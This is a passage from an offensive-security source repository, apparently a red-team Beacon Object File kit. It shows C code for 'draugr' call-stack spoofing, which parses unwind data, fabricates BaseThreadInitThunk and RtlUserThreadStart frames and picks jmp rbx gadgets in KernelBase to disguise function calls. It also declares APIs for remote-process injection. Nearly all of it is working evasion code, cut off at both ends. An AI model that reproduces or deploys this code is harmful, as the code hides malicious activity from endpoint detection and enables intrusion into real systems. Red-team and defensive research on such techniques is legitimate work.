| } while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80)); 407 | 408 | if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) { 409 | return (ULONG_PTR)(NULL); 410 | } 411 | 412 | // make the call! 413 | return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12); 414 | } 415 | 416 | ULONG_PTR draugr(PFUNCTION_CALL functionCall) 417 | { 418 | /* very inelegant */ 419 | if (functionCall->argc == 0) { 420 | return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 421 | } else if (functionCall->argc == 1) { 422 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 423 | } else if (functionCall->argc == 2) { 424 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 425 | } else if (functionCall->argc == 3) { 426 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 427 | } else if (functionCall->argc == 4) { 428 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 429 | } else if (functionCall->argc == 5) { 430 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL); 431 | } else if (functionCall->argc == 6) { 432 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL); 433 | } else if (functionCall->argc == 7) { 434 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL); 435 | } else if (functionCall->argc == 8) { 436 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL); 437 | } else if (functionCall->argc == 9) { 438 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL); 439 | } else if (functionCall->argc == 10) { 440 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL); 441 | } else if (functionCall->argc == 11) { 442 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL); 443 | } else if (functionCall->argc == 12) { 444 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11)); 445 | } 446 | 447 | return (ULONG_PTR)(NULL); 448 | } 449 | -------------------------------------------------------------------------------- /winhttp/hook.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Daniel Duggan, Zero-Point Security 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | #include 30 | #include "hash.h" 31 | #include "proxy.h" 32 | #include "memory.h" 33 | 34 | #define RBP_OP_INFO 0x5 35 | #define draugrArg(i) (ULONG_PTR)functionCall->args[i] 36 | 37 | #define memset(x, y, z) __stosb((unsigned char *)x, y, z); 38 | #define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z); 39 | 40 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD); 41 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD); 42 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD); 43 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD); 44 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD); 45 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T); 46 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT); 47 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *); 48 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE); 49 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$InitializeCriticalSection(LPCRITICAL_SECTION); 50 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$EnterCriticalSection (LPCRITICAL_SECTION); 51 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$LeaveCriticalSection (LPCRITICAL_SECTION); 52 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); 53 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); 54 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD); 55 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD); 56 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD); 57 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE); 58 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD); 59 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 60 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile (HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); 61 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile (HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 62 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize (HANDLE, LPDWORD); 63 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer (HANDLE, LONG, PLONG, DWORD); 64 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE, DWORD); 65 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); 66 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T); 67 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID); 68 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ConnectNamedPipe (HANDLE, LPOVERLAPPED); 69 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$PeekNamedPipe (HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD); 70 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD); 71 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *); 72 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *); 73 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); 74 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR); 75 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$SetLastError (DWORD); 76 | DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE); 77 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue (); 78 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer (PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG); 79 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext (PCONTEXT); 80 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap (); 81 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$HeapCreate (DWORD, SIZE_T, SIZE_T); 82 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, SIZE_T); 83 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE, DWORD, LPVOID, SIZE_T); 84 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, LPVOID); 85 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$HeapSize (HANDLE, DWORD, LPCVOID); 86 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapLock (HANDLE); 87 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapUnlock (HANDLE); 88 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapWalk (HANDLE, LPPROCESS_HEAP_ENTRY); 89 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR); 90 | DECLSPEC_IMPORT BOOL WINAPI KERNELBASE$ReadFile (HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 91 | DECLSPEC_IMPORT int WINAPI KERNEL32$WideCharToMultiByte (UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL); 92 | DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar (UINT, DWORD, LPCCH, int, LPWSTR, int); 93 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG); 94 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue (PCONTEXT, BOOLEAN); 95 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 96 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 97 | DECLSPEC_IMPORT int MSVCRT$sprintf(char *buffer, const char *format, ...); 98 | DECLSPEC_IMPORT char *MSVCRT$strstr(const char *str1, const char *str2); 99 | DECLSPEC_IMPORT int MSVCRT$memcmp(const void *buf1, const void *buf2, size_t count); 100 | 101 | /* the proxy pic */ 102 | DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID); 103 | 104 | // God Bless Vulcan Raven. 105 | typedef struct _STACK_FRAME { 106 | LPCWSTR DllPath; 107 | ULONG Offset; 108 | ULONGLONG TotalStackSize; 109 | BOOL RequiresLoadLibrary; 110 | BOOL SetsFramePointer; 111 | PVOID ReturnAddress; 112 | BOOL PushRbp; 113 | ULONG CountOfCodes; 114 | BOOL PushRbpIndex; 115 | } STACK_FRAME, * PSTACK_FRAME; 116 | 117 | typedef enum _UNWIND_OP_CODES { 118 | UWOP_PUSH_NONVOL = 0, 119 | UWOP_ALLOC_LARGE, 120 | UWOP_ALLOC_SMALL, 121 | UWOP_SET_FPREG, 122 | UWOP_SAVE_NONVOL, 123 | UWOP_SAVE_NONVOL_FAR, 124 | UWOP_SAVE_XMM128 = 8, 125 | UWOP_SAVE_XMM128_FAR, 126 | UWOP_PUSH_MACHFRAME 127 | } UNWIND_CODE_OPS; 128 | 129 | typedef unsigned char UBYTE; 130 | 131 | typedef union _UNWIND_CODE { 132 | struct { 133 | UBYTE CodeOffset; 134 | UBYTE UnwindOp : 4; 135 | UBYTE OpInfo : 4; 136 | }; 137 | USHORT FrameOffset; 138 | } UNWIND_CODE, *PUNWIND_CODE; 139 | 140 | typedef struct _UNWIND_INFO { 141 | UBYTE Version : 3; 142 | UBYTE Flags : 5; 143 | UBYTE SizeOfProlog; 144 | UBYTE CountOfCodes; 145 | UBYTE FrameRegister : 4; 146 | UBYTE FrameOffset : 4; 147 | UNWIND_CODE UnwindCode[1]; 148 | } UNWIND_INFO, *PUNWIND_INFO; 149 | 150 | typedef struct _FRAME_INFO { 151 | PVOID ModuleAddress; 152 | PVOID FunctionAddress; 153 | DWORD Offset; 154 | } FRAME_INFO, * PFRAME_INFO; 155 | 156 | typedef struct _SYNTHETIC_STACK_FRAME { 157 | FRAME_INFO Frame1; 158 | FRAME_INFO Frame2; 159 | PVOID pGadget; 160 | } SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME; 161 | 162 | typedef struct { 163 | PVOID function; 164 | int argc; 165 | ULONG_PTR args[10]; 166 | } FUNCTION_CALL, * PFUNCTION_CALL; 167 | 168 | typedef struct _DRAUGR_FUNCTION_CALL { 169 | PFUNCTION_CALL FunctionCall; 170 | PVOID StackFrame; 171 | PVOID SpoofCall; 172 | } DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL; 173 | 174 | SYNTHETIC_STACK_FRAME g_stackFrame; 175 | 176 | void initFrameInfo() 177 | { 178 | PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll"); 179 | PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll"); 180 | 181 | g_stackFrame.Frame1.ModuleAddress = pModuleFrame1; 182 | g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk"); 183 | g_stackFrame.Frame1.Offset = 0x17; 184 | 185 | g_stackFrame.Frame2.ModuleAddress = pModuleFrame2; 186 | g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart"); 187 | g_stackFrame.Frame2.Offset = 0x2c; 188 | 189 | g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll"); 190 | } 191 | 192 | BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize) 193 | { 194 | PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule); 195 | 196 | if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { 197 | return FALSE; 198 | } 199 | 200 | PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew); 201 | 202 | if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) { 203 | return FALSE; 204 | } 205 | 206 | PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders); 207 | 208 | for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++) 209 | { 210 | DWORD h = hash((char*)pImgSectionHeader[i].Name); 211 | if (h == TEXT_HASH) 212 | { 213 | *pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress; 214 | *pdwSize = pImgSectionHeader[i].SizeOfRawData; 215 | return TRUE; 216 | } 217 | } 218 | 219 | return FALSE; 220 | } 221 | 222 | PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase) 223 | { 224 | PUNWIND_INFO pUnwindInfo = NULL; 225 | ULONG unwindOperation = 0; 226 | ULONG operationInfo = 0; 227 | ULONG index = 0; 228 | ULONG frameOffset = 0; 229 | 230 | STACK_FRAME stackFrame; 231 | memset(&stackFrame, 0, sizeof(stackFrame)); 232 | 233 | if (!pRuntimeFunction) { 234 | return NULL; 235 | } 236 | 237 | pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase); 238 | 239 | while (index < pUnwindInfo->CountOfCodes) 240 | { 241 | unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp; 242 | operationInfo = pUnwindInfo->UnwindCode[index].OpInfo; 243 | 244 | /* don't use switch as it produces jump tables */ 245 | if (unwindOperation == UWOP_PUSH_NONVOL) 246 | { 247 | stackFrame.TotalStackSize += 8; 248 | if (RBP_OP_INFO == operationInfo) { 249 | stackFrame.PushRbp = TRUE; 250 | stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes; 251 | stackFrame.PushRbpIndex = index + 1; 252 | } 253 | } 254 | else if (unwindOperation == UWOP_SAVE_NONVOL) 255 | { 256 | index += 1; 257 | } 258 | else if (unwindOperation == UWOP_ALLOC_SMALL) 259 | { 260 | stackFrame.TotalStackSize += ((operationInfo * 8) + 8); 261 | } 262 | else if (unwindOperation == UWOP_ALLOC_LARGE) 263 | { 264 | index += 1; 265 | frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset; 266 | if (operationInfo == 0) { 267 | frameOffset *= 8; 268 | } 269 | else { 270 | index += 1; 271 | frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16); 272 | } 273 | stackFrame.TotalStackSize += frameOffset; 274 | } 275 | else if (unwindOperation == UWOP_SET_FPREG) 276 | { 277 | stackFrame.SetsFramePointer = TRUE; 278 | } 279 | else if (unwindOperation == UWOP_SAVE_XMM128) 280 | { 281 | return NULL; 282 | } 283 | 284 | index += 1; 285 | } 286 | 287 | if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO)) 288 | { 289 | index = pUnwindInfo->CountOfCodes; 290 | if (0 != (index & 1)) { 291 | index += 1; 292 | } 293 | 294 | pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]); 295 | return calculateFunctionStackSize(pRuntimeFunction, imageBase); 296 | } 297 | 298 | stackFrame.TotalStackSize += 8; 299 | return (PVOID)(stackFrame.TotalStackSize); 300 | } 301 | 302 | PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress) 303 | { 304 | PRUNTIME_FUNCTION pRuntimeFunction = NULL; 305 | DWORD64 ImageBase = 0; 306 | PUNWIND_HISTORY_TABLE pHistoryTable = NULL; 307 | 308 | if (!returnAddress) { 309 | return NULL; 310 | } 311 | 312 | pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable); 313 | 314 | if (NULL == pRuntimeFunction) { 315 | return NULL; 316 | } 317 | 318 | return calculateFunctionStackSize(pRuntimeFunction, ImageBase); 319 | } 320 | 321 | PVOID findGadget(PVOID pModuleAddr) 322 | { 323 | BOOL bFoundGadgets = FALSE; 324 | DWORD dwTextSectionSize = 0; 325 | DWORD dwTextSectionVa = 0; 326 | DWORD dwCounter = 0; 327 | ULONG seed = 0; 328 | ULONG randomNbr = 0; 329 | PVOID pModTextSection = NULL; 330 | 331 | PVOID pGadgetList[15]; 332 | memset(&pGadgetList, 0, (sizeof(PVOID) * 8)); 333 | 334 | if (!bFoundGadgets) 335 | { 336 | if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) { 337 | return NULL; 338 | } 339 | 340 | pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa); 341 | 342 | for (int i = 0; i < (dwTextSectionSize - 2); i++) 343 | { 344 | // Searching for jmp rbx gadget 345 | if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23) 346 | { 347 | pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i); 348 | dwCounter++; 349 | 350 | if (dwCounter == 15) { 351 | break; 352 | } 353 | } 354 | } 355 | 356 | bFoundGadgets = TRUE; 357 | } 358 | 359 | seed = 0x1337; 360 | randomNbr = NTDLL$RtlRandomEx(&seed); 361 | randomNbr %= dwCounter; 362 | 363 | return pGadgetList[randomNbr]; 364 | } 365 | 366 | ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12) 367 | { 368 | int attempts = 0; 369 | PVOID returnAddress = NULL; 370 | 371 | DRAUGR_PARAMETERS draugrParameters; 372 | memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS)); 373 | 374 | // configure BaseThreadInitThunk frame 375 | returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset); 376 | draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress); 377 | draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress; 378 | 379 | if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) { 380 | return (ULONG_PTR)(NULL); 381 | } 382 | 383 | // configure RtlUserThreadStart frame. 384 | returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset); 385 | draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress); 386 | draugrParameters.RtlUserThreadStartReturnAddress = returnAddress; 387 | 388 | if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) { 389 | return (ULONG_PTR)(NULL); 390 | } 391 | 392 | /* 393 | * Ensure that the gadget stack size is bigger than 0x80, which is min 394 | * required to hold 10 arguments, otherwise it will crash sporadically. 395 | */ 396 | 397 | do { 398 | draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget); 399 | draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline); 400 | 401 | attempts++; 402 | 403 | // quick sanity check for infinite loop 404 | if (attempts > 15) { 405 | return (ULONG_PTR)(NULL); 406 | } 407 | 408 | } while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80)); 409 | 410 | if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) { 411 | return (ULONG_PTR)(NULL); 412 | } 413 | 414 | // make the call! 415 | return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12); 416 | } 417 | 418 | ULONG_PTR draugr(PFUNCTION_CALL functionCall) 419 | { 420 | /* very inelegant */ 421 | if (functionCall->argc == 0) { 422 | return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 423 | } else if (functionCall->argc == 1) { 424 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 425 | } else if (functionCall->argc == 2) { 426 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 427 | } else if (functionCall->argc == 3) { 428 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 429 | } else if (functionCall->argc == 4) { 430 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 431 | } else if (functionCall->argc == 5) { 432 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL); 433 | } else if (functionCall->argc == 6) { 434 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL); 435 | } else if (functionCall->argc == 7) { 436 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL); 437 | } else if (functionCall->argc == 8) { 438 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL); 439 | } else if (functionCall->argc == 9) { 440 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL); 441 | } else if (functionCall->argc == 10) { 442 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL); 443 | } else if (functionCall->argc == 11) { 444 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL); 445 | } else if (functionCall->argc == 12) { 446 | return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), 